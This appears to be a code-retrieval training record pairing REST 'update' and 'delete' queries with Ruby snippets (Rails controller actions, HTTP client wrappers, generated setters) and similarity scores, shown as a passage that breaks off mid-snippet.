[ "def update\n respond_to do |format|\n if @command.update(command_params)\n format.html { redirect_to @command, notice: 'Command was successfully updated.' }\n format.json { render :show, status: :ok, location: @command }\n else\n format.html { render :edit }\n format.json { render json: @command.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @command.update(command_params)\n render :show, status: :ok, location: @command\n else\n render json: @command.errors, status: :unprocessable_entity\n end\n end", "def patch!\n request! :patch\n end", "def update\n @command = Command.accessible_by(current_ability).find(params[:id])\n\n respond_to do |format|\n if @command.update_attributes(params[:command])\n format.xml { head :ok }\n else\n format.xml { render :xml => @command.errors, :status => :unprocessable_entity }\n end\n end\n end", "def cmd_modify argv\n setup argv\n json = @hash['json']\n e = @hash['element']\n response = @api.modify(json, e)\n msg response\n return response\n end", "def put!\n request! :put\n end", "def patch(path, **args); end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update\n @command_item = CommandItem.find(params[:id])\n\n respond_to do |format|\n if @command_item.update_attributes(params[:command_item])\n format.html { redirect_to @command_item, notice: 'Command item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @command_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update # PATCH\n raise NotImplementedError\n end", "def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend", "def command_params\n params.require(:command).permit(:name, :json)\n end", "def update!(**args)\n @command_id = args[:command_id] if args.key?(:command_id)\n end", "def update!(**args)\n @command_id = args[:command_id] if args.key?(:command_id)\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n @command_parameter = CommandParameter.find(params[:id])\n\n respond_to do |format|\n if @command_parameter.update_attributes(params[:command_parameter])\n format.html { redirect_to @command_parameter, notice: 'Command parameter was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @command_parameter.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end", "def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end", "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "def update!(**args)\n @operations = args[:operations] unless args[:operations].nil?\n end", "def test_run_with_parameters\n schema = Heroics::Schema.new(SAMPLE_SCHEMA)\n client = Heroics::client_from_schema(schema, 'https://example.com')\n output = StringIO.new\n command = Heroics::Command.new(\n 'cli', schema.resource('resource').link('update'), client, output)\n cli = Heroics::CLI.new('cli', {'resource:update' => command}, output)\n\n uuid = '1ab1c589-df46-40aa-b786-60e83b1efb10'\n body = {'Hello' => 'World!'}\n result = {'Goodbye' => 'Universe!'}\n Excon.stub(method: :patch) do |request|\n assert_equal(\"/resource/#{uuid}\", request[:path])\n assert_equal('application/json', request[:headers]['Content-Type'])\n assert_equal(body, MultiJson.load(request[:body]))\n Excon.stubs.pop\n {status: 200, headers: {'Content-Type' => 'application/json'},\n body: MultiJson.dump(result)}\n end\n\n cli.run('resource:update', uuid, body)\n assert_equal(MultiJson.dump(result, pretty: true) + \"\\n\", output.string)\n end", "def update\n respond_to do |format|\n if @controlcommand.update(controlcommand_params)\n format.html { redirect_to @controlcommand, notice: 'Controlcommand was successfully updated.' }\n format.json { render :show, status: :ok, location: @controlcommand }\n else\n format.html { render :edit }\n format.json { render json: @controlcommand.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def update!(**args)\n @length = args[:length] if args.key?(:length)\n @slash_command = args[:slash_command] if args.key?(:slash_command)\n @start_index = args[:start_index] if args.key?(:start_index)\n @type = args[:type] if args.key?(:type)\n @user_mention = args[:user_mention] if args.key?(:user_mention)\n end", "def update!(**args)\n @length = args[:length] if args.key?(:length)\n @slash_command = args[:slash_command] if args.key?(:slash_command)\n @start_index = args[:start_index] if args.key?(:start_index)\n @type = args[:type] if args.key?(:type)\n @user_mention = args[:user_mention] if args.key?(:user_mention)\n end", "def patch(action, **args); end", "def update\n respond_to do |format|\n if @command_item.update(command_item_params)\n format.html { redirect_to @command_item, notice: 'Блок успешно обновлен' }\n format.json { render :show, status: :ok, location: @command_item }\n else\n format.html { render :edit }\n format.json { render json: @command_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n put :update\n end", "def update\n respond_to do |format|\n if @step_command.update(step_command_params)\n format.html { redirect_to @step_command, notice: 'Step command was successfully updated.' }\n format.json { render :show, status: :ok, location: @step_command }\n else\n format.html { render :edit }\n format.json { render json: @step_command.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_cli_from_schema\n uuid = '1ab1c589-df46-40aa-b786-60e83b1efb10'\n body = {'Hello' => 'World!'}\n result = {'Goodbye' => 'Universe!'}\n Excon.stub(method: :patch) do |request|\n assert_equal(\"/resource/#{uuid}\", request[:path])\n assert_equal('application/json', request[:headers]['Content-Type'])\n assert_equal(body, MultiJson.load(request[:body]))\n Excon.stubs.pop\n {status: 200, headers: {'Content-Type' => 'application/json'},\n body: MultiJson.dump(result)}\n end\n\n schema = Heroics::Schema.new(SAMPLE_SCHEMA)\n output = StringIO.new\n cli = Heroics.cli_from_schema('cli', output, schema, 'https://example.com')\n cli.run('resource:update', uuid, body)\n assert_equal(MultiJson.dump(result, pretty: true) + \"\\n\", output.string)\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def patch(path, opts = {})\n request(:patch, path, opts).body\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @format = args[:format] if args.key?(:format)\n @json_path = args[:json_path] if args.key?(:json_path)\n @name = args[:name] if args.key?(:name)\n @priority = args[:priority] if args.key?(:priority)\n @type = args[:type] if args.key?(:type)\n end", "def update!(**args)\n @bot = args[:bot] if args.key?(:bot)\n @command_id = args[:command_id] if args.key?(:command_id)\n @command_name = args[:command_name] if args.key?(:command_name)\n @triggers_dialog = args[:triggers_dialog] if args.key?(:triggers_dialog)\n @type = args[:type] if args.key?(:type)\n end", "def update!(**args)\n @bot = args[:bot] if args.key?(:bot)\n @command_id = args[:command_id] if args.key?(:command_id)\n @command_name = args[:command_name] if args.key?(:command_name)\n @triggers_dialog = args[:triggers_dialog] if args.key?(:triggers_dialog)\n @type = args[:type] if args.key?(:type)\n end", "def update_command(command_id, channel_id, command=nil, url=nil, description=nil)\n data = {\n channel_id: channel_id,\n command: command,\n url: url,\n description: description\n }\n response = rest_client.put(signature_url(\"/command/#{command_id}/\"), body: data)\n process_response response\n end", "def update\n # actions\n path = URI(@endpoint).path\n action = URI(@req.request_uri).path.sub(path, '').split('/')\n action -= ['']\n if action.include?('_history')\n @actions = [action[0], '_history']\n else\n @actions = [action[0]]\n end\n\n # search param\n req_query = URI(@req.request_uri).query\n unless req_query.nil?\n @req_params = URI::decode_www_form(req_query).to_h\n end\n\n # requst method\n if @req.request_method == \"GET\" and @actions.include? '_history'\n @req_method = 'vread'\n elsif @req.request_method == \"GET\" and @req_params != nil\n @req_method = 'search-type'\n elsif @req.request_method == \"PUT\"\n @req_method = 'update'\n elsif @req.request_method == \"POST\"\n @req_method = 'create'\n else\n @req_method = 'read'\n end\n\n # interaction\n int1 = Interaction.last type: @actions[0], code: @req_method\n if int1.nil?\n @present = 0\n else\n @present = int1.id\n @intCode = int1.valueCode\n end\n end", "def update!(**args)\n @client = args[:client] if args.key?(:client)\n @list_update_requests = args[:list_update_requests] if args.key?(:list_update_requests)\n end", "def update\n @commander = Commander.find(params[:id])\n\n respond_to do |format|\n if @commander.update_attributes(params[:commander])\n format.html { redirect_to @commander, notice: 'Commander was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @commander.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_current_logged_in_users_password(args = {}) \n id = args['id']\n temp_path = \"/users.json/current/password\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"userId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update!(**args)\n @operations = args[:operations] if args.key?(:operations)\n @service_config_id = args[:service_config_id] if args.key?(:service_config_id)\n end", "def update!(**args)\n @arguments_hint = args[:arguments_hint] if args.key?(:arguments_hint)\n @command_id = args[:command_id] if args.key?(:command_id)\n @command_name = args[:command_name] if args.key?(:command_name)\n @id = args[:id] if args.key?(:id)\n @triggers_dialog = args[:triggers_dialog] if args.key?(:triggers_dialog)\n @type = args[:type] if args.key?(:type)\n end", "def patch(operation, path, value = nil)\n ensure_client && ensure_uri\n body = {\n 'op' => operation,\n 'path' => path,\n 'value' => value\n }\n response = @client.rest_patch(@data['uri'], { 'Content-Type' => 'application/json-patch+json', 'body' => [body] }, @api_version)\n @client.response_handler(response)\n end", "def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end", "def update!(**args)\n @json_schemas = args[:json_schemas] if args.key?(:json_schemas)\n @schema = args[:schema] if args.key?(:schema)\n end", "def update!(**args)\n @create = args[:create] if args.key?(:create)\n @delete = args[:delete] if args.key?(:delete)\n @get = args[:get] if args.key?(:get)\n @set_iam_policy = args[:set_iam_policy] if args.key?(:set_iam_policy)\n @update = args[:update] if args.key?(:update)\n end", "def update(path)\n output { patch(path, params) }\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def update!(**args)\n @command = args[:command] if args.key?(:command)\n @open_question = args[:open_question] if args.key?(:open_question)\n @polar_question = args[:polar_question] if args.key?(:polar_question)\n @state_of_affairs = args[:state_of_affairs] if args.key?(:state_of_affairs)\n end", "def update(options = {})\n @client.put(self.link(:edit), self.to_json, options)\n end", "def change_translation(id, new_value)\n # puts(\"#{id} : #{new_value}\")\n # Add the following line to prevent ACTUAL changing of the translation:\n # return true\n new_value_json = { 'target' => new_value }.to_json\n # Note: This popen invocation does NOT go through the shell,\n # so we do not use shell escapes.\n IO.popen(\n [\n 'curl', '-i',\n '-H', \"x-api-key: #{API_KEY}\",\n '-H', 'content-type: application/json',\n '--request', 'PATCH',\n \"https://translation.io/api/v1/segments/#{id}.json\",\n '--data', new_value_json\n ]\n ) do |io|\n curl_output = io.read\n puts curl_output # Very useful for debugging!\n io.close\n $CHILD_STATUS.success? # Return whether or not we succeeded\n end\nend", "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end", "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end", "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end", "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end", "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end", "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end", "def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend", "def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend", "def patch(path, data, params = {}, request_options = {})\n request(:patch, path, data, params)\n end", "def update\n @mallet_command = MalletCommand.find(params[:id])\n\n respond_to do |format|\n if @mallet_command.update_attributes(params[:mallet_command])\n format.html { redirect_to @mallet_command, notice: 'Mallet command was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mallet_command.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_with []\n end", "def patch; end", "def patch; end", "def json_cmd_one(cmd, key, path)\n unless path\n [\"JSON.#{cmd.upcase}\", key]\n else\n [\"JSON.#{cmd.upcase}\", key, path]\n end\n end", "def update(*args)\n put(*args)\n end", "def update(*args)\n put(*args)\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update!(**args)\n @operations = args[:operations] if args.key?(:operations)\n @service_config_id = args[:service_config_id] if args.key?(:service_config_id)\n @service_name = args[:service_name] if args.key?(:service_name)\n end", "def put(*args)\n request :put, *args\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @response = args[:response] if args.key?(:response)\n end", "def update!(**args)\n @done = args[:done] if args.key?(:done)\n @error = args[:error] if args.key?(:error)\n @metadata = args[:metadata] if args.key?(:metadata)\n @name = args[:name] if args.key?(:name)\n @response = args[:response] if args.key?(:response)\n end", "def change_translation(id, new_value)\n # puts(\"#{id} : #{new_value}\")\n return true unless $REAL\n\n new_value_json = { 'target' => new_value }.to_json\n # NOTE: This popen invocation does NOT go through the shell,\n # so we do not use shell escapes.\n IO.popen(\n [\n 'curl', '-i',\n '-H', \"x-api-key: #{$API_KEY}\",\n '-H', 'content-type: application/json',\n '--request', 'PATCH',\n \"https://translation.io/api/v1/segments/#{id}.json\",\n '--data', new_value_json\n ]\n ) do |io|\n curl_output = io.read\n puts curl_output # Very useful for debugging!\n io.close\n $CHILD_STATUS.success? # Return whether or not we succeeded\n end\nend", "def update!(**args)\n @done = args[:done] if args.key?(:done)\n @error = args[:error] if args.key?(:error)\n @metadata = args[:metadata] if args.key?(:metadata)\n @name = args[:name] if args.key?(:name)\n @response = args[:response] if args.key?(:response)\n end", "def update!(**args)\n @done = args[:done] if args.key?(:done)\n @error = args[:error] if args.key?(:error)\n @metadata = args[:metadata] if args.key?(:metadata)\n @name = args[:name] if args.key?(:name)\n @response = args[:response] if args.key?(:response)\n end", "def update!(**args)\n @done = args[:done] if args.key?(:done)\n @error = args[:error] if args.key?(:error)\n @metadata = args[:metadata] if args.key?(:metadata)\n @name = args[:name] if args.key?(:name)\n @response = args[:response] if args.key?(:response)\n end", "def update!(**args)\n @done = args[:done] if args.key?(:done)\n @error = args[:error] if args.key?(:error)\n @metadata = args[:metadata] if args.key?(:metadata)\n @name = args[:name] if args.key?(:name)\n @response = args[:response] if args.key?(:response)\n end", "def update!(**args)\n @done = args[:done] if args.key?(:done)\n @error = args[:error] if args.key?(:error)\n @metadata = args[:metadata] if args.key?(:metadata)\n @name = args[:name] if args.key?(:name)\n @response = args[:response] if args.key?(:response)\n end", "def update!(**args)\n @done = args[:done] if args.key?(:done)\n @error = args[:error] if args.key?(:error)\n @metadata = args[:metadata] if args.key?(:metadata)\n @name = args[:name] if args.key?(:name)\n @response = args[:response] if args.key?(:response)\n end", "def update!(**args)\n @done = args[:done] if args.key?(:done)\n @error = args[:error] if args.key?(:error)\n @metadata = args[:metadata] if args.key?(:metadata)\n @name = args[:name] if args.key?(:name)\n @response = args[:response] if args.key?(:response)\n end", "def update!(**args)\n @done = args[:done] if args.key?(:done)\n @error = args[:error] if args.key?(:error)\n @metadata = args[:metadata] if args.key?(:metadata)\n @name = args[:name] if args.key?(:name)\n @response = args[:response] if args.key?(:response)\n end", "def update!(**args)\n @done = args[:done] if args.key?(:done)\n @error = args[:error] if args.key?(:error)\n @metadata = args[:metadata] if args.key?(:metadata)\n @name = args[:name] if args.key?(:name)\n @response = args[:response] if args.key?(:response)\n end", "def update!(**args)\n @done = args[:done] if args.key?(:done)\n @error = args[:error] if args.key?(:error)\n @metadata = args[:metadata] if args.key?(:metadata)\n @name = args[:name] if args.key?(:name)\n @response = args[:response] if args.key?(:response)\n end", "def update!(**args)\n @done = args[:done] if args.key?(:done)\n @error = args[:error] if args.key?(:error)\n @metadata = args[:metadata] if args.key?(:metadata)\n @name = args[:name] if args.key?(:name)\n @response = args[:response] if args.key?(:response)\n end" ]
[ "0.64716566", "0.62544644", "0.6223385", "0.6166207", "0.5989352", "0.59023935", "0.5902321", "0.59014827", "0.58701193", "0.58631754", "0.585324", "0.5769708", "0.56984615", "0.5689745", "0.56885976", "0.56885976", "0.56767225", "0.5673897", "0.5664423", "0.56581366", "0.56528234", "0.5652743", "0.5652297", "0.56111956", "0.56111956", "0.56111956", "0.56111956", "0.5609211", "0.5604373", "0.5573519", "0.5572366", "0.5572366", "0.557123", "0.557123", "0.5562859", "0.5557923", "0.5556169", "0.55524623", "0.5512215", "0.55040485", "0.5483427", "0.54445505", "0.5437644", "0.5437644", "0.54370147", "0.54310536", "0.54251295", "0.54251295", "0.54172593", "0.54131305", "0.53925955", "0.5372221", "0.5353935", "0.5338728", "0.5326882", "0.53250843", "0.53126854", "0.53115946", "0.5311203", "0.53089887", "0.530422", "0.5302284", "0.52988434", "0.52988434", "0.5289519", "0.52881676", "0.5281759", "0.5277569", "0.5277569", "0.5277569", "0.5277569", "0.5277569", "0.5277569", "0.52698576", "0.52698576", "0.5267287", "0.5263888", "0.5258412", "0.5254554", "0.5254554", "0.52544737", "0.5249996", "0.5249996", "0.5246996", "0.5243935", "0.52432287", "0.5238026", "0.5232232", "0.5232167", "0.5231896", "0.5231896", "0.5231896", "0.5231896", "0.5231896", "0.5231896", "0.5231896", "0.5231896", "0.5231896", "0.5231896", "0.5231896" ]
0.70265263
0
DELETE /commands/1 DELETE /commands/1.json
def destroy @command.destroy respond_to do |format| msg = { :status => 'ok', message: 'Deleted Successfully'} format.json { render json: msg } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @command.destroy\n respond_to do |format|\n format.html { redirect_to commands_url, notice: 'Command was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @command.destroy\n respond_to do |format|\n format.html { redirect_to commands_url, notice: 'La commande a été détruite.' }\n format.json { head :no_content }\n end\n end", "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end", "def delete(command)\n pp @client.files.delete(clean_up(command[1]))\n end", "def destroy\n @command_item = CommandItem.find(params[:id])\n @command_item.destroy\n\n respond_to do |format|\n format.html { redirect_to command_items_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def delete\n api(\"Delete\")\n end", "def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end", "def destroy\n @command.destroy\n end", "def delete\n request(:delete)\n end", "def destroy\n @command_item.destroy\n respond_to do |format|\n format.html { redirect_to command_items_url, notice: 'Блок успешно удален' }\n format.json { head :no_content }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def destroy\n @controlcommand.destroy\n respond_to do |format|\n format.html { redirect_to controlcommands_url, notice: 'Controlcommand was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def delete!\n request! :delete\n end", "def destroy\n @commander = Commander.find(params[:id])\n @commander.destroy\n\n respond_to do |format|\n format.html { redirect_to commanders_url }\n format.json { head :no_content }\n end\n end", "def delete(*args)\n execute(:delete, *args)\n end", "def delete(*args)\n request(:delete, *args)\n end", "def destroy\n @mallet_command = MalletCommand.find(params[:id])\n @mallet_command.destroy\n\n respond_to do |format|\n format.html { redirect_to mallet_commands_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @step_command.destroy\n respond_to do |format|\n format.html { redirect_to step_commands_url, notice: 'Step command was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy\n @command_parameter = CommandParameter.find(params[:id])\n @command_parameter.destroy\n\n respond_to do |format|\n format.html { redirect_to command_parameters_url }\n format.json { head :no_content }\n end\n end", "def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def delete!( opts = {} )\n http_action :delete, nil, opts\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def delete\n redis.eval(LUA_SCRIPT_DELETE, :keys => [build_key('*')])\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "def orchio_delete\n response = client.send_request :delete, inst_args\n orchio_status response, 204\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete(options={})\n connection.delete(\"/\", @name)\n end", "def destroy\n @client.delete( name )\n end", "def destroy\n @verb.destroy\n\n head :no_content\n end", "def delete\n ruta = \"/actions/#{action_id}\"\n client.delete(ruta)\n end", "def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def destroy\n @database = Database.find(params[:id])\n path = @database.path\n delete = %x[rm -R #{path}]\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bot = Bot.find(params[:id])\n @bot.destroy\n\n respond_to do |format|\n format.html { redirect_to bots_url }\n format.json { head :no_content }\n end\n end", "def delete(path, **options)\n execute :delete, path, options\n end", "def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end", "def destroy\n @client.delete(@name)\n end", "def delete(*names)\n names.each { |name| commands.delete name }\n end", "def http_delete(path, data = nil, content_type = 'application/json')\n http_methods(path, :delete, data, content_type)\n end", "def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def delete\n if body.empty? && params[:id]\n client.delete(params)\n elsif body.empty?\n client.delete_by_query(params.merge(body: body.merge(ALL)))\n else\n client.delete_by_query(params.merge(body: body))\n end\n end", "def destroy\n @server1 = Server1.find(params[:id])\n @server1.destroy\n\n respond_to do |format|\n format.html { redirect_to server1s_url }\n format.json { head :no_content }\n end\n end", "def delete *args, &block\n res = @conn.delete *args, &block\n handle res, parse: false\n end", "def delete(path)\n request(:delete, path)\n end", "def delete\n api_client.delete(url)\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def delete\n\n end", "def delete(path)\n request 'DELETE', path\n end", "def destroy\n @server = Server.find(params[:id])\n checkaccountobject(\"servers\",@server)\n @server.send_delete\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :ok }\n end\n end", "def delete\n end", "def delete(*args)\n commit(\"delete\", *args)\n end", "def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete(*rest) end", "def destroy\n @cord.destroy\n respond_to do |format|\n format.html { redirect_to cords_url, notice: t('cords.destroy.success') }\n format.json { head :no_content }\n end\n end", "def destroy\n @recommand = Recommand.find(params[:id])\n @recommand.destroy\n\n respond_to do |format|\n format.html { redirect_to(recommands_url) }\n format.xml { head :ok }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def delete(name)\n\n end", "def delete(path)\n\t\trequest(path, :delete)\n\tend", "def delete(*args)\n commit(\"delete\", *args)\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def delete\n \n end", "def delete_command\n name = get_param(\"name=\", \"([a-zA-Z]+)\")\n\n deleted = false\n\n if name\n @app.delete_animal(name)\n else\n puts \"Error!: A name is required to delete an animal\"\n delete_command_help()\n end\n end", "def delete\n delete_from_server single_url\n end", "def delete(path)\n request(:delete, path)\n end", "def delete\n client.delete(url)\n @deleted = true\n end", "def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end", "def delete(path)\n repository = path.split(/\\//)[2]\n objectid = path.split(/\\//)[3]\n if storage_fetch(repository, objectid) && storage_delete(repository, objectid)\n ['200', {}, []]\n else\n ['404', {}, [\"Repository #{repository} or ObjectID #{objectid} not found: #{path}\"]]\n end\n end", "def delete\n render 